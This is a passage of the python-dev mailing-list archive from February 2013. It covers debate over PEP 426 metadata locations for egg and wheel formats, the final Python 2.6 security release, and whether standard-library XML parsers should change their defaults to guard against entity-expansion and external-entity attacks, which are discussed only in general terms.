	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
	<CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
	<CACac1F91cVLNHCCowvdzugxUgGOZ_80QKL1AOZFmYp=XDLJ+uQ@mail.gmail.com>
Message-ID: <512496A2.2060902@egenix.com>

On 20.02.2013 03:37, Paul Moore wrote:
> On 20 February 2013 00:54, Fred Drake <fred at fdrake.net> wrote:
>> I'd posit that anything successful will no longer need to be added to
>> the standard library, to boot.  Packaging hasn't done well there.
> 
> distlib may be the exception, though. Packaging tools are somewhat
> unique because of the chicken and egg issue involved in having a
> packaging tool with external dependencies - who installs your
> dependencies for you? So enabling technology (library code to perform
> packaging-related tasks, particularly in support of standardised
> formats) could be better available from the stdlib.
> 
>> I'd rather see a successful packaging story develop than bundle it into the
>> standard library.  The later just isn't that interesting any more.
> 
> Bundling too early is a bad idea though. distlib is developing fast
> and to do so it needs (1) a development cycle independent of python's
> and (2) compatibility and ease of use with earlier versions of Python
> (the latter is also critical for adoption in place of custom code in
> packaging tools).
> 
> Aiming for an accelerated level of development targeting inclusion in
> Python 3.4 is plausible, though. MAL pointed out that agreeing
> standards but not offering tools to support them in the stdlib is
> risky, as people have no incentive to adopt those standards. We've got
> 6 months or more until 3.4 feature freeze, let's not make any decision
> too soon, though.

I'm fine with not adding distlib to Python 3.4. The point I wanted
to make was that there has to be an reference implementation of the PEP
that tool makers can use to avoid reinventing the wheel over and over
again (each with its own set of problems).

If distlib implements the PEP, then it just needs to be
mentioned there as a suitable reference implementation.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 20 2013)
>>> Python Projects, Consulting and Support ...   http://www.egenix.com/
>>> mxODBC.Zope/Plone.Database.Adapter ...       http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::::: Try our mxODBC.Connect Python Database Interface for free ! ::::::

   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From solipsis at pitrou.net  Wed Feb 20 10:54:06 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 20 Feb 2013 10:54:06 +0100
Subject: [Python-Dev] Built with VS2012 Express for desktop
References: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>
	<20130219185025.GB13258@iskra.aviel.ru>
	<CAF-Rda-dyp96RyEXM=qDs=3r33jgx4xdFUiDGpr2CH9R6fqU6g@mail.gmail.com>
	<20130220082319.02424aeb@pitrou.net>
	<20130220090913.GA2026@iskra.aviel.ru>
Message-ID: <20130220105406.5ce4f5c0@pitrou.net>

Le Wed, 20 Feb 2013 13:09:13 +0400,
Oleg Broytman <phd at phdru.name> a ?crit :
> On Wed, Feb 20, 2013 at 08:23:19AM +0100, Antoine Pitrou
> <solipsis at pitrou.net> wrote:
> > On Tue, 19 Feb 2013 20:37:36 -0800
> > Eli Bendersky <eliben at gmail.com> wrote:
> > > On Tue, Feb 19, 2013 at 10:50 AM, Oleg Broytman <phd at phdru.name>
> > > wrote: Oleg, lately I have the feeling you're getting too
> > > automatic with this template response.
> > 
> > +1. This isn't the python-robots mailing-list.
> 
>    Ok, I'll stop.

Thanks! Perhaps we may have to become more automatic if some day we are
flooded with newbie messages on the list, but this isn't the case
currently.

Moreover, the original message here was a build question that probably
wouldn't receive any meaningful answer on python-list, which makes it
suitable for python-dev.

Regards

Antoine.



From solipsis at pitrou.net  Wed Feb 20 10:56:21 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 20 Feb 2013 10:56:21 +0100
Subject: [Python-Dev] PEP 426 is now the draft spec for distribution
	metadata 2.0
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
	<CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
Message-ID: <20130220105621.1029633d@pitrou.net>

Le Tue, 19 Feb 2013 19:54:21 -0500,
Fred Drake <fred at fdrake.net> a ?crit :
> On Tue, Feb 19, 2013 at 6:19 PM, Donald Stufft
> <donald.stufft at gmail.com> wrote:
> > Let's not add anything to the stdlib till it has real world usage.
> > Doing otherwise is putting the cart before the horse.
> 
> I'd posit that anything successful will no longer need to be added to
> the standard
> library, to boot.  Packaging hasn't done well there.

If only "successful", agreed. However, packaging is a core part of the
Python experience, and as such should be provided in the stdlib.

Regards

Antoine.



From phd at phdru.name  Wed Feb 20 11:04:28 2013
From: phd at phdru.name (Oleg Broytman)
Date: Wed, 20 Feb 2013 14:04:28 +0400
Subject: [Python-Dev] Built with VS2012 Express for desktop
In-Reply-To: <20130220105406.5ce4f5c0@pitrou.net>
References: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>
	<20130219185025.GB13258@iskra.aviel.ru>
	<CAF-Rda-dyp96RyEXM=qDs=3r33jgx4xdFUiDGpr2CH9R6fqU6g@mail.gmail.com>
	<20130220082319.02424aeb@pitrou.net>
	<20130220090913.GA2026@iskra.aviel.ru>
	<20130220105406.5ce4f5c0@pitrou.net>
Message-ID: <20130220100428.GA3520@iskra.aviel.ru>

On Wed, Feb 20, 2013 at 10:54:06AM +0100, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Le Wed, 20 Feb 2013 13:09:13 +0400,
> Oleg Broytman <phd at phdru.name> a ??crit :
> > On Wed, Feb 20, 2013 at 08:23:19AM +0100, Antoine Pitrou
> > <solipsis at pitrou.net> wrote:
> > > On Tue, 19 Feb 2013 20:37:36 -0800
> > > Eli Bendersky <eliben at gmail.com> wrote:
> > > > On Tue, Feb 19, 2013 at 10:50 AM, Oleg Broytman <phd at phdru.name>
> > > > wrote: Oleg, lately I have the feeling you're getting too
> > > > automatic with this template response.
> > > 
> > > +1. This isn't the python-robots mailing-list.
> > 
> >    Ok, I'll stop.
> 
> Thanks! Perhaps we may have to become more automatic if some day we are
> flooded with newbie messages on the list, but this isn't the case
> currently.

   That was the case when I started.

> Moreover, the original message here was a build question that probably
> wouldn't receive any meaningful answer on python-list, which makes it
> suitable for python-dev.

   You are right. I am sorry.

Oleg.
-- 
     Oleg Broytman            http://phdru.name/            phd at phdru.name
           Programmers don't die, they just GOSUB without RETURN.

From mal at egenix.com  Wed Feb 20 11:30:28 2013
From: mal at egenix.com (M.-A. Lemburg)
Date: Wed, 20 Feb 2013 11:30:28 +0100
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
Message-ID: <5124A5C4.4090202@egenix.com>

On 20.02.2013 00:16, Daniel Holth wrote:
> On Tue, Feb 19, 2013 at 5:10 PM, M.-A. Lemburg <mal at egenix.com> wrote:
> 
>> On 19.02.2013 23:01, Daniel Holth wrote:
>>> On Tue, Feb 19, 2013 at 4:34 PM, M.-A. Lemburg <mal at egenix.com> wrote:
>>>
>>>> On 19.02.2013 14:40, Nick Coghlan wrote:
>>>>> On Tue, Feb 19, 2013 at 11:23 PM, M.-A. Lemburg <mal at egenix.com>
>> wrote:
>>>>>> * PEP 426 doesn't include any mention of the egg distribution format,
>>>>>>   even though it's the most popular distribution format at the moment.
>>>>>>   It should at least include the location of the metadata file
>>>>>>   in eggs (EGG-INFO/PKG-INFO) and egg installations
>>>>>>   (<eggdir>/EGG-INFO/PKG-INFO).
>>>>>
>>>>> "Other tools involved in Python distribution may also use this format."
>>>>>
>>>>> The egg format has never been, and never will be, officially endorsed
>>>>> by python-dev. The wheel format is the standard format for binary
>>>>> distribution, and PEP 376 defines the standard location for metadata
>>>>> on installed distributions.
>>>>
>>>> Oh, come on, Nick, that's just silly. setuptools was included in stdlib
>>>> for a short while, so the above is simply wrong. Eggs are the most
>>>> widely used binary distribution format for Python package on PyPI:
>>>>
>>>> # wc *files.csv
>>>>   25585   25598 1431013 2013-02-19-egg-files.csv
>>>>    4619    4640  236694 2013-02-19-exe-files.csv
>>>>     254     255   13402 2013-02-19-msi-files.csv
>>>>  104691  104853 5251962 2013-02-19-tar-gz-files.csv
>>>>      24      24    1221 2013-02-19-whl-files.csv
>>>>   17937   18022  905913 2013-02-19-zip-files.csv
>>>>  153110  153392 7840205 total
>>>>
>>>> (based on todays PyPI stats)
>>>>
>>>> It doesn't really help ignoring realities... and I'm saying
>>>> that as one of the core devs who got setuptools kicked out of
>>>> the stdlib again.
>>>>
>>>> --
>>>> Marc-Andre Lemburg
>>>> eGenix.com
>>>>
>>>
>>> The wheel philosophy is that it should be supported by both python-dev
>> and
>>> setuptools and that you should feel happy about using setuptools if you
>>> like it whether or not python-dev (currently) endorses that. If you are
>>> using setuptools (distribute's pkg_resources) then you can use both at
>> the
>>> same time.
>>>
>>> Distribute, distutils and setuptools' problems have not been well
>>> understood which I think is why there has been a need to discredit
>>> setuptools by calling it non-standard. It is the defacto standard. If
>> your
>>> packages have dependencies there is no other choice. Wheel tries to solve
>>> the real problem by allowing you to build a package with setuptools while
>>> giving the end-user the choice of installing setuptools or not.
>>>
>>> Of course eggs are the most popular right now. The wheel format is very
>>> egg-like while avoiding some of egg's problems. See the comparison in the
>>> PEP or read the story on wheel's rtfd. The wheel project includes tools
>> to
>>> losslessly convert eggs or bdist_wininst to wheel.
>>
>> That's all fine, but it doesn't explain the refusal to add the
>> documentation of the location of the PKG-INFO file in eggs ?
> 
> 
> It would just be a sentence, I wouldn't have a problem with it but I also
> don't see why it would be necessary. Even setuptools doesn't touch the file
> usually. Right now distribute's pkg_resources currently only understands
> Requires-Dist if it is inside a .dist-info directory.

Perhaps I'm not clear enough. I'll try again :-)

The wording in the PEP alienates the egg format by defining
an incompatible new standard for the location of the metadata
file:

"""
There are three standard locations for these metadata files:

* the PKG-INFO file included in the base directory of Python source distribution archives (as
created by the distutils sdist command)
* the {distribution}-{version}.dist-info/METADATA file in a wheel binary distribution archive (as
described in PEP 425, or a later version of that specification)
* the {distribution}-{version}.dist-info/METADATA files in a local Python installation database (as
described in PEP 376, or a later version of that specification)
"""

It's easy to upgrade distribute and distutils to write
metadata 1.2 format, simply by changing the version in the
PKG-INFO files.

These addition are necessary to fix the above and also include
the standard location of the metadata for pip and distutils installations:

* the EGG-INFO/PKG-INFO file in an egg binary distribution archive (as created by the distribute
bdist_egg command)

* the {distribution}-{version}.egg/EGG-INFO/PKG-INFO file in an installed egg distribution archive

* the {distribution}-{version}.egg-info/PKG-INFO file for packages installed with "pip install" or
distribute's "python setup.py install"

* the {distribution}-{version}.egg-info file for packages installed with distutils' "python setup.py
install"

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 20 2013)
>>> Python Projects, Consulting and Support ...   http://www.egenix.com/
>>> mxODBC.Zope/Plone.Database.Adapter ...       http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::::: Try our mxODBC.Connect Python Database Interface for free ! ::::::

   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From barry at python.org  Wed Feb 20 17:14:57 2013
From: barry at python.org (Barry Warsaw)
Date: Wed, 20 Feb 2013 11:14:57 -0500
Subject: [Python-Dev] The last Python 2.6 security release
Message-ID: <20130220111457.07e4ae17@anarchist.wooz.org>

I just updated PEP 361 (Python 2.6 release schedule).

Python 2.6 is in security maintenance, source only release mode.  Official
support for Python 2.6 expires on October 1 2013, and I would like to do one
last release[1], i.e. 2.6.9 as close to that date as possible.

I know of issue 16248, but if there are any other security issues that must be
applied to 2.6, please let me know.

Cheers,
-Barry

[1] Guido's time machine works in both directions and prevents a 2.6.10 from
    ever happening.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 836 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130220/6cd756c3/attachment.pgp>

From benjamin at python.org  Wed Feb 20 17:25:29 2013
From: benjamin at python.org (Benjamin Peterson)
Date: Wed, 20 Feb 2013 11:25:29 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <51239B07.8080300@python.org>
References: <51239B07.8080300@python.org>
Message-ID: <CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>

2013/2/19 Christian Heimes <christian at python.org>:
> Hello,
>
> in August 2012 I found a DoS vulnerability in expat and XML libraries in
> Python's standard library. Since then I have found several more issues.
> I have been working on fixes ever since.
>
> The README of https://pypi.python.org/pypi/defusedxml contains detailed
> explanations of my research and all issues
>
>
> Blog post:
> http://blog.python.org/2013/02/announcing-defusedxml-fixes-for-xml.html
>
> Hotfixes:
> https://pypi.python.org/pypi/defusedxml
> https://pypi.python.org/pypi/defusedexpat

Are these going to become patches for Python, too?


-- 
Regards,
Benjamin

From christian at python.org  Wed Feb 20 19:24:12 2013
From: christian at python.org (Christian Heimes)
Date: Wed, 20 Feb 2013 19:24:12 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
Message-ID: <512514CC.2080508@python.org>

Am 20.02.2013 17:25, schrieb Benjamin Peterson:
> Are these going to become patches for Python, too?

I'm working on it. The patches need to be discussed as they break
backward compatibility and AFAIK XML standards, too.



From fijall at gmail.com  Wed Feb 20 21:17:43 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 20 Feb 2013 22:17:43 +0200
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <512514CC.2080508@python.org>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
Message-ID: <CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>

On Wed, Feb 20, 2013 at 8:24 PM, Christian Heimes <christian at python.org> wrote:
> Am 20.02.2013 17:25, schrieb Benjamin Peterson:
>> Are these going to become patches for Python, too?
>
> I'm working on it. The patches need to be discussed as they break
> backward compatibility and AFAIK XML standards, too.

That's not very good. XML parsers are supposed to parse XML according
to standards. Is the goal to have them actually do that, or just
address DDOS issues?

Cheers,
fijal

From ericsnowcurrently at gmail.com  Wed Feb 20 21:50:04 2013
From: ericsnowcurrently at gmail.com (Eric Snow)
Date: Wed, 20 Feb 2013 13:50:04 -0700
Subject: [Python-Dev] [Python-checkins] cpython (3.3): Rebuild
 importlib.h after the changes introduced in 0f65bf6063ca.
In-Reply-To: <3ZB9774yS5z7Lld@mail.python.org>
References: <3ZB9774yS5z7Lld@mail.python.org>
Message-ID: <CALFfu7ATtJhrAyF4gRf2Rz-Zymkk_2a8aK4s=Shpc=LrYGgUZQ@mail.gmail.com>

On Wed, Feb 20, 2013 at 1:16 PM, ezio.melotti
<python-checkins at python.org> wrote:
> http://hg.python.org/cpython/rev/9d00c79b27e1
> changeset:   82280:9d00c79b27e1
> branch:      3.3
> parent:      82278:96b4acb253f8
> user:        Ezio Melotti <ezio.melotti at gmail.com>
> date:        Wed Feb 20 21:42:46 2013 +0200
> summary:
>   Rebuild importlib.h after the changes introduced in 0f65bf6063ca.

Thanks, Ezio.

-eric

From skip at pobox.com  Wed Feb 20 21:53:55 2013
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 20 Feb 2013 14:53:55 -0600
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
Message-ID: <CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>

> > I'm working on it. The patches need to be discussed as they break
> > backward compatibility and AFAIK XML standards, too.
>
> That's not very good. XML parsers are supposed to parse XML according
> to standards. Is the goal to have them actually do that, or just
> address DDOS issues?

Having read through Christian's mail and several of his references, it
seems to me that addressing the DDoS issues is preferable to blindly
following a standard that predates the Morris worm by a couple years.
Everyone played nice before that watershed event.  Heck, back then you
could telnet to gnu at prep.ai.mit.edu without a password!

Any incompatibility should have minimal impact.  I haven't looked into
the defusedxml package to see what limits it introduces to protect
against attacks, but it seems that most well-behaved entities will use
little, if any, recursion, and result in a size increase of less than
a factor of 10 when fully expanded.

Skip

From carl at oddbird.net  Wed Feb 20 22:02:45 2013
From: carl at oddbird.net (Carl Meyer)
Date: Wed, 20 Feb 2013 14:02:45 -0700
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
Message-ID: <512539F5.9020108@oddbird.net>

On 02/20/2013 01:53 PM, Skip Montanaro wrote:
>> That's not very good. XML parsers are supposed to parse XML according
>> to standards. Is the goal to have them actually do that, or just
>> address DDOS issues?
> 
> Having read through Christian's mail and several of his references, it
> seems to me that addressing the DDoS issues is preferable to blindly
> following a standard that predates the Morris worm by a couple years.
> Everyone played nice before that watershed event.  Heck, back then you
> could telnet to gnu at prep.ai.mit.edu without a password!

Also, despite the title of this thread, the vulnerabilities include
fetching of external DTDs and entities (per standard), which opens up
attacks that are worse than just denial-of-service. In our initial
Django release advisory we carelessly lumped the potential XML
vulnerabilities together under the "DoS" label, and were quickly corrected.

An XML parser that follows the XML standard is never safe to expose to
untrusted input. This means the choice is just whether the stdlib XML
parsers should be safe by default, or follow the standard by default.
(Given either choice, the other option can still be made available via
flags).

Carl

From christian at python.org  Wed Feb 20 22:55:57 2013
From: christian at python.org (Christian Heimes)
Date: Wed, 20 Feb 2013 22:55:57 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
Message-ID: <5125466D.5090308@python.org>

Am 20.02.2013 21:17, schrieb Maciej Fijalkowski:
> On Wed, Feb 20, 2013 at 8:24 PM, Christian Heimes <christian at python.org> wrote:
>> Am 20.02.2013 17:25, schrieb Benjamin Peterson:
>>> Are these going to become patches for Python, too?
>>
>> I'm working on it. The patches need to be discussed as they break
>> backward compatibility and AFAIK XML standards, too.
> 
> That's not very good. XML parsers are supposed to parse XML according
> to standards. Is the goal to have them actually do that, or just
> address DDOS issues?

But the standard is flawed.

It's not a distributed DoS issue, it's a severe DoS vulnerabilities. A
single 1 kB XML document can kill virtually any machine, even servers
with more than hundred GB RAM.


From christian at python.org  Wed Feb 20 23:06:15 2013
From: christian at python.org (Christian Heimes)
Date: Wed, 20 Feb 2013 23:06:15 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <512539F5.9020108@oddbird.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
	<512539F5.9020108@oddbird.net>
Message-ID: <512548D7.8010806@python.org>

Am 20.02.2013 22:02, schrieb Carl Meyer:
> Also, despite the title of this thread, the vulnerabilities include
> fetching of external DTDs and entities (per standard), which opens up
> attacks that are worse than just denial-of-service. In our initial
> Django release advisory we carelessly lumped the potential XML
> vulnerabilities together under the "DoS" label, and were quickly corrected.

Right, I tried to address both kinds of issues in the title:

  XML DoS vulnerabilities and (other XML) exploits

Christian

From christian at python.org  Wed Feb 20 23:06:15 2013
From: christian at python.org (Christian Heimes)
Date: Wed, 20 Feb 2013 23:06:15 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <512539F5.9020108@oddbird.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
	<512539F5.9020108@oddbird.net>
Message-ID: <512548D7.8010806@python.org>

Am 20.02.2013 22:02, schrieb Carl Meyer:
> Also, despite the title of this thread, the vulnerabilities include
> fetching of external DTDs and entities (per standard), which opens up
> attacks that are worse than just denial-of-service. In our initial
> Django release advisory we carelessly lumped the potential XML
> vulnerabilities together under the "DoS" label, and were quickly corrected.

Right, I tried to address both kinds of issues in the title:

  XML DoS vulnerabilities and (other XML) exploits

Christian


From greg.ewing at canterbury.ac.nz  Wed Feb 20 23:35:23 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Thu, 21 Feb 2013 11:35:23 +1300
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <512539F5.9020108@oddbird.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
	<512539F5.9020108@oddbird.net>
Message-ID: <51254FAB.4020801@canterbury.ac.nz>

Carl Meyer wrote:
> An XML parser that follows the XML standard is never safe to expose to
> untrusted input.

Does the XML standard really mandate that a conforming parser
must blindly download any DTD URL given to it from the real
live internet? Somehow I doubt that.

-- 
Greg

From rdmurray at bitdance.com  Wed Feb 20 23:45:58 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Wed, 20 Feb 2013 17:45:58 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <51254FAB.4020801@canterbury.ac.nz>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
	<512539F5.9020108@oddbird.net> <51254FAB.4020801@canterbury.ac.nz>
Message-ID: <20130220224558.B3A2A250BC1@webabinitio.net>

On Thu, 21 Feb 2013 11:35:23 +1300, Greg Ewing <greg.ewing at canterbury.ac.nz> wrote:
> Carl Meyer wrote:
> > An XML parser that follows the XML standard is never safe to expose to
> > untrusted input.
> 
> Does the XML standard really mandate that a conforming parser
> must blindly download any DTD URL given to it from the real
> live internet? Somehow I doubt that.

I don't believe it does.  The DTD URL is, if I remember correctly,
specified as an identifier.  The fact that you can often also download the
DTD from the location specified by the identifier is a secondary effect.

But, it's been a *long* time since I looked at XML :)

(Wikipedia says: "Programs for reading documents may not be required to
read the external subset.", which would seem to confirm that.)

--David

From fred at fdrake.net  Wed Feb 20 23:56:15 2013
From: fred at fdrake.net (Fred Drake)
Date: Wed, 20 Feb 2013 17:56:15 -0500
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <20130220224558.B3A2A250BC1@webabinitio.net>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<CANc-5UzJYo66i3aVt8WtRNepz7i-tiOS5DSzNhsO2zaHbdcQBw@mail.gmail.com>
	<512539F5.9020108@oddbird.net> <51254FAB.4020801@canterbury.ac.nz>
	<20130220224558.B3A2A250BC1@webabinitio.net>
Message-ID: <CAFT4OTGrCjd338fwdUFrErBquhYPoFG2xvnMas2W0_fVUxJ4Pg@mail.gmail.com>

On Wed, Feb 20, 2013 at 5:45 PM, R. David Murray <rdmurray at bitdance.com> wrote:
> (Wikipedia says: "Programs for reading documents may not be required to
> read the external subset.", which would seem to confirm that.)

Validating parsers are required to read the external subset; this doesn't
apply to the parsers distributed for Python today.

Even when loading external resources, I don't think there's anything in the
XML specification that says how they have to be loaded, or how to deal with
an error when they are (and refusing to load because of resource limits is
reasonably just another error with respect to the parser).

While I'd hate to make XML processing more painful than it often is, there's
no injunction not to be reasonable.  Security concerns and resource limits
are cross-cutting concerns, so it's not wrong to provide safe defaults.

Doing so *will* be backward incompatible, and I'm not sure there's a good
way to gauge the extent of the breakage.


  -Fred

-- 
Fred L. Drake, Jr.    <fred at fdrake.net>
"A storm broke loose in my mind."  --Albert Einstein

From carl at oddbird.net  Thu Feb 21 00:03:34 2013
From: carl at oddbird.net (Carl Meyer)
Date: Wed, 20 Feb 2013 16:03:34 -0700
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <51254FAB.4020801@canterbury.ac.nz>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
